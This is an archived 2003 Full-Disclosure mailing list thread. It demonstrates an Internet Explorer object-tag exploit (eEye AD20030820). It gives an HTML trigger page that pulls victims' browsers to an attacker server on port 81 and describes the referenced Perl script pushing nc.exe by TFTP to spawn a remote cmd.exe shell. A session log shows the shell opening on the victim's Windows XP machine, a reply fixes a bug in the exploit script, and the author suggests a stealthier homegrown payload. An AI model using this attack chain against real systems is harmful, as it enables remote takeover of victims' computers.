full-disclosure - AD20030820...testing made easy

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

From: broemhild at positiveplace.org (Bill Roemhild)
Subject: AD20030820...testing made easy

In playing with the eEye-SP.pl I ran into a little snag when connecting.

[Server accepting clients]
Can't call method "name" on an undefined value at ./eEye-SP.pl.1 line
47.

To fix this.. edit line 47 from this:

printf "incoming...%s\n",$hostinfo->name || $client->peeraddr;

To this:

printf "incoming...%s\n", $hostinfo ? $hostinfo->name : $client
>peerhost;

Bill

-----Original Message-----
From: Roelof Temmingh [mailto:roelof@...sepost.com] 
Sent: Thursday, August 21, 2003 4:52 PM
To: full-disclosure@...ts.netsys.com
Cc: tech@...sepost.com
Subject: [Full-Disclosure] AD20030820...testing made easy

eEye IE (EIIE:)) bug:
http://www.eeye.com/html/Research/Advisories/AD20030820.html

This here just making it easier to edit commands/play around
...nothing heavy...nothing new...

On 10.10.10.10's web server is test.html:
-----------------------------------------
<html><h1>
nice webpage</h1>
<object data="http://10.10.10.10:81/blah.html">
</object></html>

On 10.10.10.10 ... running as root:
-----------------------------------
PERL script located on http://www.sensepost.com/misc/eEye-SP.pl
Not listed/attached here ... AVs will bitch etc. etc.

When/if victim surfs to http://10.10.10.10/test.html
it's off to port 81.

nc.exe will be TFTP-ed and CMD.EXE shell spawned on
port 2000...see the WSH part.

It goes like this:
------------------
# perl eEye-SP.pl
[Server accepting clients]
	(Victim surfs to test.html on 10.10.10.10...)
incoming...192.168.0.1
incoming...192.168.0.1
^C

# telnet 192.168.0.1 2000
Trying 192.168.0.1...
Connected to blah.pSSSofff.com.
Escape character is '^]'.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

Of course the idea is not to tftp nc.exe...but your own home grown
thingy..(ideally without a console window:))...

'later..
Roelof

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html